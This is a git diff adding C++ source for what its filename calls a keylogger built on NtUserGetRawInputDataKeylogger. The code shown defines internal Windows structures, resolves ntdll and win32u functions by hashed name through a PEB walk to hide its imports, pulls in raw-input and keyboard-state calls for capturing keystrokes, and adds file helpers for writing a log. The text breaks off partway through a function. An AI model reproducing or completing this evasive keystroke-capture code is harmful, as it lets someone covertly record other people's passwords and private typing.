diff --git a/NtUserGetRawInputDataKeylogger.cpp b/NtUserGetRawInputDataKeylogger.cpp new file mode 100644 index 0000000..485a26e --- /dev/null +++ b/NtUserGetRawInputDataKeylogger.cpp @@ -0,0 +1,1248 @@ +#include + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define FILE_OPEN_IF 0x00000003 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define WM_MAXIMUM 0x0001FFFF + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +}CLIENT_ID, * PCLIENT_ID; + +typedef struct _RTLP_CURDIR_REF { + LONG RefCount; + HANDLE Handle; +}RTLP_CURDIR_REF, * PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U { + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +}RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION; + +typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, * PFILE_POSITION_INFORMATION; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _IO_APC_ROUTINE { + VOID* ApcContext; + PIO_STATUS_BLOCK IoStatusBlock; + ULONG Reserved; +} IO_APC_ROUTINE, * PIO_APC_ROUTINE; + +typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} ANSI_STRING, * PANSI_STRING; + +typedef struct _RTL_DRIVE_LETTER_CURDIR { + WORD Flags; + WORD Length; + ULONG TimeStamp; + ANSI_STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _CURDIR { + UNICODE_STRING DosPath; + PVOID Handle; +}CURDIR, * PCURDIR; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + ULONG MaximumLength; + ULONG Length; + ULONG Flags; + ULONG DebugFlags; + PVOID ConsoleHandle; + ULONG ConsoleFlags; + PVOID StandardInput; + PVOID StandardOutput; + PVOID StandardError; + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; + ULONG EnvironmentSize; +}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _TEB +{ + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT SpareCrossTebFlags : 16; + }; + USHORT CrossTebFlags; + }; + union + { + struct + { + USHORT DbgSafeThunkCall : 1; + USHORT DbgInDebugPrint : 1; + USHORT DbgHasFiberData : 1; + USHORT DbgSkipThreadAttach : 1; + USHORT DbgWerInShipAssertCode : 1; + USHORT DbgIssuedInitialBp : 1; + USHORT DbgClonedThread : 1; + USHORT SpareSameTebBits : 9; + }; + USHORT SameTebFlags; + }; + PVOID TxnScopeEntercallback; + PVOID TxnScopeExitCAllback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG ProcessRundown; + ULONG64 LastSwitchTime; + ULONG64 TotalSwitchOutTime; + LARGE_INTEGER WaitReasonBitMap; +#else + BOOLEAN SafeThunkCall; + BOOLEAN BooleanSpare[3]; +#endif +} TEB, * PTEB; + +#define InitializeObjectAttributes(p, n, a, r, s) \ +{ \ + (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ +} + +#define HID_USAGE_PAGE_GENERIC 0x01 +#define HID_USAGE_GENERIC_KEYBOARD 0x06 + +#define IS_ATOM(x) (((ULONG_PTR)(x) > 0x0) && ((ULONG_PTR)(x) < 0x10000)) + +typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T); +#define RTLALLOCATEHEAP_SIG 0xc0b381da + +typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID); +#define RTLFREEHEAP_SIG 0x70ba71d7 + +typedef NTSTATUS(NTAPI* LDRLOADDLL) (PWCHAR, DWORD, PUNICODE_STRING, PHANDLE); +#define LDRLOADDLL_SIG 0x0307db23 + +typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE); +#define NTCLOSE_SIG 0x8b8e133d + +typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG); +#define NTCREATEFILE_SIG 0x15a5ecdb + +typedef NTSTATUS(NTAPI* RTLDOSPATHNAMETONTPATHNAME_U)(PCWSTR, PUNICODE_STRING, PCWSTR*, PRTL_RELATIVE_NAME_U); +#define RTLDOSPATHNAMETONTPATHNAME_U_SIG 0xbfe457b2 + +typedef LRESULT(NTAPI* NTDLLDEFWINDOWPROC_W)(HWND, UINT, WPARAM, LPARAM); +#define NTDLLDEFWINDOWPROC_W_SIG 0x058790f4 + +typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONFILE)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); +#define NTQUERYINFORMATIONFILE_SIG 0x4725f863 + +typedef NTSTATUS(NTAPI* NTSETINFORMATIONFILE) (HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS); +#define NTSETINFORMATIONFILE_SIG 0x6e88b479 + +typedef NTSTATUS(NTAPI* NTWRITEFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, PLARGE_INTEGER, PULONG); +#define NTWRITEFILE_SIG 0xd69326b2 + +//WIN32U + +typedef VOID(NTAPI* NTUSERCALLONEPARAM)(DWORD, DWORD); +#define NTUSERCALLONEPARAM_SIG 0xb19a9f55 + +typedef BOOL(NTAPI* NTUSERDESTROYWINDOW)(HWND); +#define NTUSERDESTROYWINDOW_SIG 0xabad4a48 + +typedef BOOL(NTAPI* NTUSERREGISTERRAWINPUTDEVICES)(PCRAWINPUTDEVICE, UINT, UINT); +#define NTUSERREGISTERRAWINPUTDEVICES_SIG 0x76dc2408 + +typedef UINT(NTAPI* NTUSERGETRAWINPUTDATA)(HRAWINPUT, UINT, LPVOID, PUINT, UINT); +#define NTUSERGETRAWINPUTDATA_SIG 0xd902c31a + +typedef BOOL(NTAPI* NTUSERGETKEYBOARDSTATE)(PBYTE); +#define NTUSERGETKEYBOARDSTATE_SIG 0x92ca3458 + +typedef INT(NTAPI* NTUSERTOUNICODEEX)(UINT, UINT, PBYTE, LPWSTR, INT, UINT, HKL); +#define NTUSERTOUNICODEEX_SIG 0xe561424d + +typedef UINT(NTAPI* NTUSERMAPVIRTUALKEYEX)(UINT, UINT, UINT, UINT); +#define NTUSERMAPVIRTUALKEYEX_SIG 0xc8e8ef51 + +typedef INT(NTAPI* NTUSERGETKEYNAMETEXT)(LONG, LPWSTR, INT); +#define NTUSERGETKEYNAMETEXT_SIG 0x5be51535 + +typedef BOOL(NTAPI* NTUSERGETMESSAGE)(LPMSG, HWND, UINT, UINT); +#define NTUSERGETMESSAGE_SIG 0xb6c60f8b + +typedef BOOL(NTAPI* NTUSERTRANSLATEMESSAGE)(PMSG, UINT); +#define NTUSERTRANSLATEMESSAGE_SIG 0xafc97a79 + +VOID RtlZeroMemoryInternal(PVOID Destination, SIZE_T Size) +{ + PULONG Dest = (PULONG)Destination; + SIZE_T Count = Size / sizeof(ULONG); + + while (Count > 0) + { + *Dest = 0; + Dest++; + Count--; + } + + return; +} + +SIZE_T StringLengthW(LPCWSTR String) +{ + LPCWSTR String2; + + for (String2 = String; *String2; ++String2); + + return (String2 - String); +} + +PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2) +{ + PWCHAR p = String1; + + while ((*p++ = *String2++) != 0); + + return String1; +} + +PWCHAR StringConcatW(PWCHAR String, PWCHAR String2) +{ + StringCopyW(&String[StringLengthW(String)], String2); + + return String; +} + +DWORD DecimalToAsciiW(PWCHAR String, LPDWORD dwArray, DWORD Length) +{ + DWORD dwX = ERROR_SUCCESS; + + if (String == NULL) + return dwX; + + for (; dwX < Length; dwX++) { String[dwX] = (WCHAR)dwArray[dwX]; } + + return dwX; +} + +PWCHAR UpperStringW(PWCHAR String) +{ + PWCHAR pwPtr = String; + while (*pwPtr != '\0') + { + if (*pwPtr >= 'a' && *pwPtr <= 'z') + *pwPtr = *pwPtr - ('a' - 'A'); + + pwPtr++; + } + return String; +} + +PWCHAR StringTokenW(PWCHAR String, CONST PWCHAR Delim) +{ + PWCHAR Last; + PWCHAR SpanP, Token; + INT C, SC; + + if (String == NULL) + return NULL; + +CONTINUE: + + C = *String++; + + for (SpanP = (PWCHAR)Delim; (SC = *SpanP++) != ERROR_SUCCESS;) + { + if (C == SC) + goto CONTINUE; + } + + if (C == ERROR_SUCCESS) { Last = NULL; return NULL; } + + Token = String - 1; + + for (;;) + { + C = *String++; + SpanP = (PWCHAR)Delim; + + do { + if ((SC = *SpanP++) == C) + { + if (C == ERROR_SUCCESS) + String = NULL; + else + String[-1] = '\0'; + + Last = String; + return Token; + } + } while (SC != ERROR_SUCCESS); + } + + return NULL; +} + +DWORD HashStringDjb2A(PCHAR String) +{ + ULONG Hash = 5381; + INT c; + + while (c = *String++) + Hash = ((Hash << 5) + Hash) + c; + + return Hash; +} + +DWORD HashStringDjb2W(PWCHAR String) +{ + ULONG Hash = 5381; + INT c; + + while (c = *String++) + Hash = ((Hash << 5) + Hash) + c; + + return Hash; +} + +VOID RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString) +{ + SIZE_T DestSize; + + if (SourceString) + { + DestSize = StringLengthW(SourceString) * sizeof(WCHAR); + DestinationString->Length = (USHORT)DestSize; + DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR); + } + else + { + DestinationString->Length = 0; + DestinationString->MaximumLength = 0; + } + + DestinationString->Buffer = (PWCHAR)SourceString; +} + +VOID RtlInitEmptyUnicodeString(PUNICODE_STRING UnicodeString, PWCHAR Buffer, USHORT BufferSize) +{ + UnicodeString->Length = 0; + UnicodeString->MaximumLength = BufferSize; + UnicodeString->Buffer = Buffer; +} + +typedef struct API_IMPORT_TABLE { + DWORD64 PeBase; //NTDLL.DLL + DWORD64 Win32uBase; //WIN32U.DLL + DWORD Error; //GLOBAL ERROR HANDLER + + PPEB Peb; //PEB POINTER + PTEB Teb; //TEB POINTER + + PWCHAR lpszClassNameBuffer; //WINDOWS CLASS NAME + + //NTDLL IMPORTS + LDRLOADDLL LdrLoadDll; + RTLALLOCATEHEAP RtlAllocateHeap; + RTLFREEHEAP RtlFreeHeap; + NTCLOSE NtClose; + NTCREATEFILE NtCreateFile; + RTLDOSPATHNAMETONTPATHNAME_U RtlDosPathNameToNtPathName_U; + NTDLLDEFWINDOWPROC_W NtdllDefWindowProc_W; + NTQUERYINFORMATIONFILE NtQueryInformationFile; + NTSETINFORMATIONFILE NtSetInformationFile; + NTWRITEFILE NtWriteFile; + + //WIN32U IMPORTS + NTUSERCALLONEPARAM NtUserCallOneParam; + NTUSERDESTROYWINDOW NtUserDestroyWindow; + NTUSERREGISTERRAWINPUTDEVICES NtUserRegisterRawInputDevices; + NTUSERGETRAWINPUTDATA NtUserGetRawInputData; + NTUSERGETKEYBOARDSTATE NtUserGetKeyboardState; + NTUSERTOUNICODEEX NtUserToUnicodeEx; + NTUSERMAPVIRTUALKEYEX NtUserMapVirtualKeyEx; + NTUSERGETKEYNAMETEXT NtUserGetKeyNameText; + NTUSERGETMESSAGE NtUserGetMessage; + NTUSERTRANSLATEMESSAGE NtUserTranslateMessage; + +}API_TABLE, PAPI_TABLE; + +PTEB GetTeb(VOID) +{ +#if defined(_WIN64) + return (PTEB)__readgsqword(0x30); +#elif define(_WIN32) + return (PTEB)__readfsdword(0x18); +#endif +} + +API_IMPORT_TABLE Api; + +DWORD InlineTebGetLastError(VOID) +{ + return Api.Teb->LastErrorValue; +} + +DWORD InlineUppGetEnvironmentVariableW(LPCWSTR Name, LPWSTR Buffer, DWORD Size) +{ + UNICODE_STRING uString; RtlZeroMemoryInternal(&uString, sizeof(UNICODE_STRING)); + UNICODE_STRING Variable; RtlZeroMemoryInternal(&Variable, sizeof(UNICODE_STRING)); + DWORD Token[1] = { 61 }; + LPWSTR String = NULL; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters = (PRTL_USER_PROCESS_PARAMETERS)Api.Peb->ProcessParameters; + LPWSTR Environment = (LPWSTR)ProcessParameters->Environment; + LPWSTR lpszPtr = (LPWSTR)Environment; + PWCHAR Pointer; + + BOOL bFlag = FALSE; + + String = (LPWSTR)Api.RtlAllocateHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, sizeof(WCHAR) * 2); + if (String == NULL) + goto EXIT_ROUTINE; + + DecimalToAsciiW(String, Token, 1); + + Name = UpperStringW((PWCHAR)Name); + if (Name == NULL) + goto EXIT_ROUTINE; + + RtlInitUnicodeString(&Variable, (PWCHAR)Name); + + while (*lpszPtr) + { + DWORD dwVariableHash = 0; + DWORD dwPointerHash = 0; + lpszPtr += StringLengthW(lpszPtr) + 1; + Pointer = StringTokenW(lpszPtr, String); + if (Pointer == NULL) + goto EXIT_ROUTINE; + + Pointer = UpperStringW((PWCHAR)Pointer); + + dwVariableHash = HashStringDjb2W(Variable.Buffer); + dwPointerHash = HashStringDjb2W(lpszPtr); + + if (dwVariableHash == dwPointerHash) + { + lpszPtr += StringLengthW(lpszPtr) + 1; + Pointer = StringTokenW(lpszPtr, String); + if (Pointer == NULL) + goto EXIT_ROUTINE; + + RtlInitUnicodeString(&uString, Pointer); + break; + } + + } + + if (StringCopyW(Buffer, uString.Buffer) == NULL) + goto EXIT_ROUTINE; + + bFlag = TRUE; + +EXIT_ROUTINE: + + if (String) + Api.RtlFreeHeap(Api.Peb->ProcessHeap, HEAP_ZERO_MEMORY, String); + + return (bFlag == TRUE ? uString.Length : 0); +} + +BOOL RtlLoadPeHeaders(PIMAGE_DOS_HEADER* Dos, PIMAGE_NT_HEADERS* Nt, PIMAGE_FILE_HEADER* File, PIMAGE_OPTIONAL_HEADER* Optional, PBYTE* ImageBase) +{ + *Dos = (PIMAGE_DOS_HEADER)*ImageBase; + if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE) + return FALSE; + + *Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew); + if ((*Nt)->Signature != IMAGE_NT_SIGNATURE) + return FALSE; + + *File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD)); + *Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER)); + + return TRUE; +} + +DWORD64 __stdcall ImportFunction(DWORD64 ModuleBase, DWORD64 Hash) +{ + PBYTE pFunctionName; + PIMAGE_DOS_HEADER Dos; + PIMAGE_NT_HEADERS Nt; + PIMAGE_FILE_HEADER File; + PIMAGE_OPTIONAL_HEADER Optional; + + RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase); + + IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress); + PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames); + PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions); + PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals); + DWORD dwX; + + for (dwX = 0; dwX < ExportTable->NumberOfNames; dwX++) + { + pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase; + DWORD dwFunctionHash = HashStringDjb2A((PCHAR)pFunctionName); + + if (Hash == dwFunctionHash) + return ((DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]); + } + + return 0; +} + +VOID InlineWin32uPostQuitMessage(DWORD nExitCode) +{ + Api.NtUserCallOneParam(nExitCode, 0x3B); + return; +} + +DWORD InlineRtlSetFilePointerToEnd(HANDLE File) +{ + FILE_POSITION_INFORMATION FilePosition; RtlZeroMemoryInternal(&FilePosition, sizeof(FILE_POSITION_INFORMATION)); + FILE_STANDARD_INFORMATION FileStandard; RtlZeroMemoryInternal(&FileStandard, sizeof(FILE_STANDARD_INFORMATION)); + LARGE_INTEGER Distance; RtlZeroMemoryInternal(&Distance, sizeof(LARGE_INTEGER)); + IO_STATUS_BLOCK Block; RtlZeroMemoryInternal(&Block, sizeof(IO_STATUS_BLOCK)); + NTSTATUS Status = ERROR_SUCCESS; + + if (((ULONG_PTR)File & 0x10000003) == 0x3) + return INVALID_SET_FILE_POINTER; + + Status = Api.NtQueryInformationFile(File, &Block, &FilePosition, sizeof(FILE_POSITION_INFORMATION), FilePositionInformation); + if(!NT_SUCCESS(Status)) + return INVALID_SET_FILE_POINTER; + else + FilePosition.CurrentByteOffset.QuadPart = FileStandard.EndOfFile.QuadPart + Distance.QuadPart; + + if (FilePosition.CurrentByteOffset.QuadPart < ERROR_SUCCESS) + return INVALID_SET_FILE_POINTER; + + Status = Api.NtSetInformationFile(File, &Block, &FilePosition, sizeof(FILE_POSITION_INFORMATION), FilePositionInformation); + if (!NT_SUCCESS(Status)) + return INVALID_SET_FILE_POINTER; + + return FilePosition.CurrentByteOffset.u.LowPart; +} + +HANDLE InlineNtdllNtCreateFile(LPCWSTR lpFileName) +{ + OBJECT_ATTRIBUTES Attributes; RtlZeroMemoryInternal(&Attributes, sizeof(OBJECT_ATTRIBUTES)); + IO_STATUS_BLOCK Io; RtlZeroMemoryInternal(&Io, sizeof(IO_STATUS_BLOCK)); + LARGE_INTEGER Integer; RtlZeroMemoryInternal(&Integer, sizeof(LARGE_INTEGER)); Integer.QuadPart = 2048; + + UNICODE_STRING uString; RtlZeroMemoryInternal(&uString, sizeof(UNICODE_STRING)); + UNICODE_STRING BinaryNtPath; RtlZeroMemoryInternal(&BinaryNtPath, sizeof(UNICODE_STRING)); + + NTSTATUS Status = ERROR_SUCCESS; + HANDLE hHandle = NULL; + + RtlInitUnicodeString(&uString, lpFileName); + + if (uString.Buffer[0] != L'\\') + Api.RtlDosPathNameToNtPathName_U(uString.Buffer, &BinaryNtPath, NULL, NULL); + + InitializeObjectAttributes(&Attributes, &BinaryNtPath, OBJ_CASE_INSENSITIVE, NULL, NULL); + + Status = Api.NtCreateFile(&hHandle, FILE_GENERIC_WRITE | FILE_GENERIC_READ, &Attributes, &Io, &Integer, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, 0, 0); + if 